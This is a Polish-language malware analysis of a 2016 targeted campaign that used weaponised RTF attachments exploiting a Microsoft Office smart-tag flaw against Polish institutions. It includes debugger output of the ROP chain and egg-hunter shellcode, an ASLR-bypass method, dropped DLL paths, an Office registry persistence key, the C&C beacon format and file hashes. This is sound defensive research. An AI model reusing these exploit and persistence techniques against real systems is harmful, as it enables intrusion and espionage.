Od ubiegłego tygodnia trwają próby ataków ukierunkowanych na instytucje publiczne w Polsce. Do wiadomości email dołączane są dokumenty rtf wykorzystujące podatność w jednym z modułów pakietu Microsoft Office.
Przykładowe nazwy dokumentów to:
- Putin_Is_Being_Pushed_to_Prepare_for_War.rtf
- Russian anti-Nato troops.rtf
Po udanym ataku może być uruchomiony inny dokument rtf. W dokumencie są odnośniki do artykułów z połowy maja 2016.
Do instalacji złośliwego oprogramowania została wykorzystania podatność opisana w CVE-2015-1614. Na zainfekowanym komputerze zapisywane są dwie biblioteki dll:
- C:\ProgramData\iprpp.dll
- C:\Users\<username>\AppData\Roaming\amdcache.dll
Ta biblioteka jest odpowiedzialna między innymi za nawiązywanie połączeń z serwerem C&C.
Szczegółowe informacje
Otwierając dokument w edytorze szesnastkowym możemy zauważyć, że ładowany jest komponent ActiveX otkloader, który z kolei załaduje kolejną bibliotekę MSVCR71.DLL. MSVCR71 jest używany do ominięcia mechanizmu ASLR gdyż jest skompilowany bez wsparcia dla tej funkcji.
Więcej informacji o budowie pliku RTF uzyskamy odtwarzając obiekty OLE za pomocą narzędzia RTFscan.
2016-05-25 10:08 3 727 OLE_DOCUMENT__Putin_Is_Being_Pushed_to_Prepare_for_War.rtf__1.bin
2016-05-25 10:08 527 880 OLE_DOCUMENT__Putin_Is_Being_Pushed_to_Prepare_for_War.rtf__2.bin
2016-05-25 10:08 11 784 OLE_DOCUMENT__Putin_Is_Being_Pushed_to_Prepare_for_War.rtf__3.bin
2016-05-25 10:08 1 544 OLE_DOCUMENT__Putin_Is_Being_Pushed_to_Prepare_for_War.rtf__4.bin
2016-05-24 10:07 1 132 623 Putin_Is_Being_Pushed_to_Prepare_for_War.rtf
Zawartość obiektu nr 3 związana jest z podatnością w funkcji smart tag (CVE 2015-1641). Nadpisywanych jest kilka miejsc w pamięci zarezerwowanej na bibliotekę MSVCR71.dll co w efekcie powoduje nadpisanie wskaźnika do jednej z funkcji i przekazanie kontroli do kodu kontrolowanego przez intruza.
Więcej informacji dot. tej podatności można znaleźć tutaj [1].
Zawartość obiektu nr 2 związana jest ominięciem ASLR oraz dostarczeniem (heap spraying) i uruchomieniem złośliwego kodu.
Poniżej fragment zawartości pliku activeX2. Zawiera on gadżety ROP (zielona ramka) oraz pierwszy fragment shellcode.
Poniżej ostatnie wywołanie gadżetu ROP (7c32d20 - jmp esp). Następnie następuje wykonywanie kodu ze stosu (wcześniej wywołany jest VirtualAllocStub()) do zmiany uprawnień do pamięci w tryb RX).
0:006> r
eax=0b800000 ebx=00002000 ecx=0b800a84 edx=770370b4 esi=7c3415a3 edi=7c346c0b
eip=7c372d20 esp=0b800ae4 ebp=7c37a0a5 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSVCR71!atoldbl+0x444:
7c372d20 ffe4 jmp esp {0b800ae4}
0:006> u esp L30
0b800ae4 31d2 xor edx,edx
0b800ae6 668ccb mov bx,cs
0b800ae9 80fb23 cmp bl,23h
0b800aec 7508 jne 0b800af6
0b800aee 31db xor ebx,ebx
0b800af0 53 push ebx
0b800af1 53 push ebx
0b800af2 53 push ebx
0b800af3 53 push ebx
0b800af4 b3c0 mov bl,0C0h
0b800af6 81caffff0000 or edx,0FFFFh
0b800afc 81c2910a0000 add edx,0A91h
0b800b02 52 push edx
0b800b03 80fbc0 cmp bl,0C0h
0b800b06 743f je 0b800b47
0b800b08 6a02 push 2
0b800b0a 58 pop eax
0b800b0b cd2e int 2Eh
0b800b0d 5a pop edx
0b800b0e 3c05 cmp al,5
0b800b10 74e4 je 0b800af6
0b800b12 b890509050 mov eax,50905090h
0b800b17 89d7 mov edi,edx
0b800b19 af scas dword ptr es:[edi]
0b800b1a 75da jne 0b800af6
0b800b1c af scas dword ptr es:[edi]
0b800b1d 75d7 jne 0b800af6
…
Jeden z fragmentów kodu (zaznaczony zielonym kolorem) odpowiada za identyfikacje w pamięci głównego kodu intruza. W eax umieszczana jest wartość 0x2 – funkcja systemowa NtAccessCheckAndAuditAlarm() następnie następuje przełączenie w tryb jądra. Poszukiwany kod jest oznaczony znacznikiem 0x50905090. Jest on umieszczany w pamięci przez obiekt activeX1.bin.
Poniżej jego fragment:
Kolejny fragment shellcode odpowiada za wywołanie VirtualAllocStub() a następnie skok bezwarunkowy to tego miejsca w pamięci.
0:006> u eip L20
0b800b1f 31c0 xor eax,eax
0b800b21 31db xor ebx,ebx
0b800b23 0500100000 add eax,1000h
0b800b28 80c340 add bl,40h
0b800b2b 53 push ebx
0b800b2c 50 push eax
0b800b2d 31c0 xor eax,eax
0b800b2f 0500500000 add eax,5000h
0b800b34 50 push eax
0b800b35 57 push edi
0b800b36 ff1594a0377c call dword ptr [MSVCR71!ldexp+0x51a8 (7c37a094)]
0b800b3c b80000347c mov eax,offset MSVCR71 (7c340000)
0b800b41 50 push eax
0b800b42 31c0 xor eax,eax
0b800b44 50 push eax
0b800b45 ffe7 jmp edi
0b800b47 6a26 push 26h
0b800b49 58 pop eax
0b800b4a 31c9 xor ecx,ecx
0b800b4c 89e2 mov edx,esp
0b800b4e 64ff13 call dword ptr fs:[ebx]
0b800b51 59 pop ecx
0b800b52 5a pop edx
0b800b53 ebb9 jmp 0b800b0e
…
Moment wywołania funkcji VirtualAllocStub(). Na stosie umieszczony jest adres pamięci zawierający kodu intruza załadowany z pliku activeX1.bin.
0:006> t
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
eax=00005000 ebx=00000040 ecx=0b800ae0 edx=05a00a90 esi=7c3415a3 edi=05a00a98
eip=0b800b36 esp=0b800ad4 ebp=7c37a0a5 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
0b800b36 ff1594a0377c call dword ptr [MSVCR71!ldexp+0x51a8 (7c37a094)] ds:0023:7c37a094={kernel32!VirtualAllocStub (75922fb6)}
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
0:006> dd esp L1
0b800ad4 05a00a98
0:006> u 5a00a98
05a00a98 55 push ebp
05a00a99 8bec mov ebp,esp
05a00a9b 81ec580b0000 sub esp,0B58h
05a00aa1 c745fc71020000 mov dword ptr [ebp-4],271h
05a00aa8 c645984b mov byte ptr [ebp-68h],4Bh
05a00aac c6459945 mov byte ptr [ebp-67h],45h
05a00ab0 c6459a52 mov byte ptr [ebp-66h],52h
05a00ab4 c6459b4e mov byte ptr [ebp-65h],4Eh
Głównym zadaniem tego fragmentu kodu jest odszyfrowanie kolejnych komponentów oraz identyfikacja adresów „importowanych” funkcji API. Odszyfrowywane są 4 komponenty:
- fragment odpowiadający za „wstrzykiwanie” bibliotek,
- kod odpowiadający między innymi za zapisanie złośliwego kodu na dysku czy „instalację”,
- dwie biblioteki które zostaną zapisane na dysku zainfekowanego komputera.
Na samym końcu kodu załadowanego z activeX1.bin następuje przekazanie do kolejnych - już odszyfrowanych komponentów (call edx).
seg000:05A018F4 mov ecx, [ebp-1Ch]
seg000:05A018F7 mov edx, [ecx+28h]
seg000:05A018FA add edx, [ebp-10h]
seg000:05A018FD call edx
seg000:05A018FF xor eax, eax
seg000:05A01901
seg000:05A01901 loc_5A01901: ; CODE XREF: seg000:05A0152B
seg000:05A01901 ; seg000:05A01592
seg000:05A01901 mov esp, ebp
seg000:05A01903 pop ebp
seg000:05A01904 retn
W chwili zapisu danych na dysku możemy skopiować wszystkie odkodowane elementy. Nie wszystkie komponenty są zapisywane na dysku.
0:006> !address
Building memory map: 00000000Building memory map: 00010000
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
Mapping heap regions...
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
Mapping page heap regions...
…
7c391000 7c395000 4000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image [MSVCR71; "C:\Program Files\Microsoft Office\Office12\ADDINS\MSVCR71.dll"]
+ 7c395000 7f6f0000 335b000 MEM_FREE PAGE_NOACCESS Free
+ 7f6f0000 7f6f5000 5000 MEM_MAPPED MEM_COMMIT PAGE_READONLY Other [Read Only Shared Memory]
7f6f5000 7f7f0000 fb000 MEM_MAPPED MEM_RESERVE MappedFile "PageFile"
+ 7f7f0000 7ff10000 720000 MEM_FREE PAGE_NOACCESS Free
+ 7ff10000 7ff33000 23000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [MZ..............]
+ 7ff33000 7ff40000 d000 MEM_FREE PAGE_NOACCESS Free
+ 7ff40000 7ff60000 20000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [U.........E.K.E.]
+ 7ff60000 7ffa9000 49000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [MZ..............]
+ 7ffa9000 7ffb0000 7000 MEM_FREE PAGE_NOACCESS Free
+ 7ffb0000 7ffd3000 23000 MEM_MAPPED MEM_COMMIT PAGE_READONLY Other [NLS Tables]
+ 7ffd3000 7ffd5000 2000 MEM_FREE PAGE_NOACCESS Free
+ 7ffd5000 7ffd6000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE PEB [8f8]
+ 7ffd6000 7ffd7000 1000 MEM_FREE PAGE_NOACCESS Free
+ 7ffd7000 7ffd8000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE TEB [~5; 8f8.7b8]
+ 7ffd8000 7ffd9000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE TEB [~8; 8f8.b08]
…
W zaznaczonych obszarach pamięci możemy znaleźć charakterystycznie ciągi znaków (injector.exe czy fast_joiner.dll):
Podczas analizy okazało się, że w zarezerwowanych obszarach pamięci znajdował się kolejny plik rtf, który miał być otworzony po zakończeniu udanego ataku. W naszym środowisku testowym ten plik nie był automatycznie otwierany.
.text:10001D95 mov word ptr ds:7FF26730h, 5A4Dh
.text:10001D9E call dword ptr ds:7FF1601Ch ; //CreateFileW()
.text:10001DA4 mov ebx, eax
.text:10001DA6 cmp ebx, 0FFFFFFFFh
.text:10001DA9 jz short loc_10001D47
.text:10001DAB push 0
.text:10001DAD lea eax, [ebp+var_4]
.text:10001DB0 push eax
.text:10001DB1 push 8400h
.text:10001DB6 push 7FF26730h
.text:10001DBB push ebx
.text:10001DBC mov [ebp+var_4], 0
.text:10001DC3 call dword ptr ds:7FF16018h ; //WriteFile()
.text:10001DC9 push ebx
.text:10001DCA call dword ptr ds:7FF16024h ; //CloseHandle()
.text:10001DD0 push esi
.text:10001DD1 mov esi, ds:7FF16030h
Następnie tworzony jest klucz rejestru i zapisywana jest wartość będąca ścieżką do pliku amdcache.dll.
0:006> r
eax=00000000 ebx=7ff10000 ecx=0b7fe898 edx=00000768 esi=00000001 edi=00000000
eip=7ff11044 esp=0b7fe874 ebp=0b7fe8a0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
7ff11044 ff150060f17f call dword ptr ds:[7FF16000h] ds:0023:7ff16000={ADVAPI32!RegCreateKeyExW (75fd40fe)}
0:006> du poi(esp+4)
7ff17ff0 "Office test\Special\Perf"
0:006> r
eax=0000005c ebx=7ff10000 ecx=000005b8 edx=05f0249a esi=05f02498 edi=75934be7
eip=7ff110b0 esp=0b7fe878 ebp=0b7fe8a0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
7ff110b0 ff150460f17f call dword ptr ds:[7FF16004h] ds:0023:7ff16004={ADVAPI32!RegSetValueExW (75fd14d6)}
0:006> du poi(esp+10)
05f02498 "C:\Users\(username)\AppData\Roamin"
05f024d8 "g\amdcache.dll"
Rolą pliku amdcache.dll jest załadowanie biblioteki iprpp.dll do uruchamianego procesu (np. excel.exe). Większość ciągów znaków jest przechowywana w formie zakodowanej. Funkcja odkodowująca znaki jest pokazana poniżej i bazuje na operacji XOR.
Po uruchomieniu DLL odkodowywany i tworzony jest mutex o wartości: ”513AbTAsEpcq4mf6TEacB. Sprawdzane jest również połączenie do sieci Internet poprzez wysłanie zapytania GET na adres google.com.
POST /no/W/VU.xml/?a=a1BnFne39H1x9LhKVc+Cd0+2+V9k9fA= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: google.com
Content-Length: 0
Cache-Control: no-cache
Connection: close
Część parametrów jest generowana losowo a wszystkie dane przed wysłaniem są konwertowane za pomocą funkcji CryptBinaryToString().
Na adres serwera C&C wysyłana jest wstępna informacja (pozwalająca na klasyfikację) o zainfekowanym hoście. Oprócz wersji malware przesyłane są informacje o wszystkich działających procesach oraz dysku. Poniżej przykładowe wiadomości przez zakodowaniem.
Powyższa zawartość jest kodowana za pomocą tej funkcji:
Informacje o plikach:
File: plik z załącznika.rtf
Size: 1132623
MD5: 3F44A0F1D746CB99AB0321E73133ECAE
File: iprpp.dll
Size: 33792
MD5: 21D63E99ED7DCD8BAEC74E6CE65C9EF3
File: amdcache.dll
Size: 52224
MD5: 1219318522FA28252368F58F36820AC2
File: ukryty.rtf
Size: 84532
MD5: BF31F448712FEADDB05D9970B64A4A2B
Źródła:
[1] https://blog.fortinet.com/2015/08/20/the-curious-case-of-the-document-exploiting-an-unknown-vulnerability-part-1
[2] OfficeMalScanner http://www.reconstructer.org/code.html
[3] Informacje na temat zastosowanej techniki omijania ASLR https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/10/understanding-microsoft-word-ole-exploit-primitives-exploiting-cve-2015-1642pdf/